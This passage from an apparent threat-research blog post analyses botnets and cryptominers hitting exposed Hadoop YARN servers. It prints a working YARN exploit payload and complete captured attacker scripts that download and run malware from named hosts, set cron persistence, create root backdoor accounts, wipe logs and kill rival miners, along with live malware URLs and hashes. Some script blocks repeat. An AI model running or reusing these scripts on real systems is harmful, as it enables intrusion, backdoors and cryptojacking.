Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
…
80.211.59.125:434
8.8.8.8
/proc/net/route
…
x86_64
Linux
/usr/bin/apt-get
Ubuntu/Debian
/usr/lib/portage
Gentoo
/usr/bin/yum
RHEL/CentOS
/usr/share/YaST2
OpenSUSE
/etc/dropbear/
OpenWRT
/etc/opkg
UNKNOWN
/etc/ssh/
Dropbear
/etc/xinet.d/telnet
Telnet
/usr/kerberos/bin/telnet
…
[1;37m[
[0;35mSupra
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
…
GCC: (GNU) 4.2.1   
…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

 [Supra]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s] 

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:     /etc/dropbear
UNKNOWN:   /etc/opkg
Dropbear:      /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96.48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"} 

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma.ru/8.sh
$ cat 8.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://hehe.suckmyass.cf/.o 
$ cat .o
cd /boot ; wget -q http://r00ts.truthdealmodz.pw/.i -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O http://r00ts.truthdealmodz.pw/.i ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
pkill -9 xm64
pkill -9 xm32
pkill -9 kthreadd
pkill -9 watchdogs
pkill -9 xmrig64
pkill -9 xig
pkill -9 ps
pkill -9 minerd
pkill -9 smh64
pkill -9 system.usermn
pkill -9 skrt
pkill -9 .xm.log
pkill -9 zjgw
pkill -9 SSHer
pkill -9 SSher
pkill -9 xm
pkill -f ld-linux-x86-64
pkill -f xm64
pkill -f xm32
pkill -f xig
pkill -f minerd
pkill -f ps
pkill -f .xm
/etc/init.d/crond start
service crond start
iptables -I INPUT -s 185.234.217.11 -j DROP
iptables -A INPUT -s 185.234.217.11 -j REJECT cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://r00ts.truthdealmodz.pw/.i 
$ cat .i
#!/bin/bash

useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://r00ts.truthdealmodz.pw/.o -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp; chmod 777 /etc/cron.*/* ;
history -c;
unset history;history -w

A Malware Zoo

The Hadoop YARN exploits in table (*1) provided for a real Linux IoT malware zoo – most of the binaries are Mirai- related – not to our surprise…

Links that are still active:

http://167.88.161.40/yarn.x86
  2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b  yarn.x86
http://185.244.25.150/bins/otaku.x86
  34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5  otaku.x86
http://185.244.25.163/8x868
  a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55  8x868
http://185.244.25.222/x86
  4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd  x86
http://185.244.25.251/x86
  33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104  x86
http://167.99.51.231/x86
  83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6  x86
http://46.17.47.198/bins/kowai.x86 
  1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60  kowai.x86

http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

http://167.88.161.40/yarn.x86
2eab746dea07b3b27fb6582ee100a7ee732d7980012652da6d705f4e90c4196b yarn.x86
http://185.244.25.150/bins/otaku.x86
34ee8efb22814660dd7d2a4d1219b73fd1a2c4ba63ef99020f135980551419b5 otaku.x86
http://185.244.25.163/8x868
a5beb685f7847009485b94cc7f91eb16254ccd681c60cec5928f5a22c23acb55 8x868
http://185.244.25.222/x86
4b18997cc8fa26092d3b6de7fce637a4bc80a9c35997248035208144108c6ebd x86
http://185.244.25.251/x86
33f54d0afccfdc0a8b0428d7a1fca20079fe760b21e3750e31a8cba1b862e104 x86
http://167.99.51.231/x86
83777b500163259e9e1b7a4801b5c3ad48708511b1c2b7573e344985011396c6 x86
http://46.17.47.198/bins/kowai.x86
1a447b4e33474e693517a5a1b26e18c5a0dc8de3e92b57f2402f098218327c60 kowai.x86
http://94.177.231.48/sh
$ cat sh
#!/bin/sh

binarys="mips mpsl arm arm5 arm6 arm7 sh4 ppc x86 arc"
server_ip="94.177.231.48"
binname="miori"
execname="loliloli"

for arch in $binarys
do
    cd /tmp
    wget http://$server_ip/$binname.$arch -O $execname
	#tftp -g -l $execname -r $binname.$arch $server_ip
	chmod 777 $execname
    ./$execname
	rm -rf $execname
done
$ wget http://94.177.231.48/miori.x86 

8e7e65105dfa629d695f63c41378f9f10112641a8f5bb9987b1a69b2c7336254  miori.x86

http://46.29.165.143/fearless.sh
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessntpd; chmod +x fearlessntpd; ./fearlessntpd; rm -rf fearlessntpd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssshd; chmod +x fearlesssshd; ./fearlesssshd; rm -rf fearlesssshd
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessopenssh; chmod +x fearlessopenssh; ./fearlessopenssh; rm -rf fearlessopenssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessbash; chmod +x fearlessbash; ./fearlessbash; rm -rf fearlessbash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstftp; chmod +x fearlesstftp; ./fearlesstftp; rm -rf fearlesstftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesswget; chmod +x fearlesswget; ./fearlesswget; rm -rf fearlesswget
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesscron; chmod +x fearlesscron; ./fearlesscron; rm -rf fearlesscron
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessftp; chmod +x fearlessftp; ./fearlessftp; rm -rf fearlessftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesspftp; chmod +x fearlesspftp; ./fearlesspftp; rm -rf fearlesspftp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesssh; chmod +x fearlesssh; ./fearlesssh; rm -rf fearlesssh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessshit; chmod +x fearlessshit; ./fearlessshit; rm -rf fearlessshit
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlessapache2; chmod +x fearlessapache2; ./fearlessapache2; rm -rf fearlessapache2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.165.143/fearlesstelnetd; chmod +x fearlesstelnetd; ./fearlesstelnetd; rm -rf fearlesstelnetd

$ file fearlessapache2 
fearlessapache2: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped

47ace06c5f36937a6d5f4369ea1980a91f570a6d9d9b144e7f5b3f4006316f57  fearlessapache2

Links that are inactive as of this writing:

http://185.244.25.153/YSDKOP.x86 
http://68.183.96.48/bins/hoho.x86 
http://cnc.junoland.xyz/x86hua
http://194.147.35.63/bins/Kuran.x86
http://46.29.165.33/bins/kowai.x86 
http://167.88.161.40/bins/mydick 
http://188.138.100.8/ankit/jno.x86
http://67.205.128.131/oxy.x86
http://80.211.94.16/Nurasu.x86_64; 
http://46.36.37.121/weed.sh
http://142.93.152.247/8UsA.sh
</code/>

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bash
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "46.249.38.186"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

BotnetsSecurity

New DemonBot Discovered

October 25, 2018 — by Pascal Geenens35

code_blog_post_demonbot_botnet-960x640.jpg

Are you using Hadoop for data analytics? If so, know that a new bot is targeting Hadoop clusters with the intention of performing DDoS attacks powered by the strength of cloud infrastructure servers. Hadoop is an open source distributed processing framework that manages storage and data processing for big data applications running in clustered systems.

Radware Threat Research Center is monitoring and tracking a malicious agent that is leveraging a Hadoop YARN unauthenticated remote command execution in order to infect Hadoop clusters with an unsophisticated new bot that identifies itself as DemonBot.

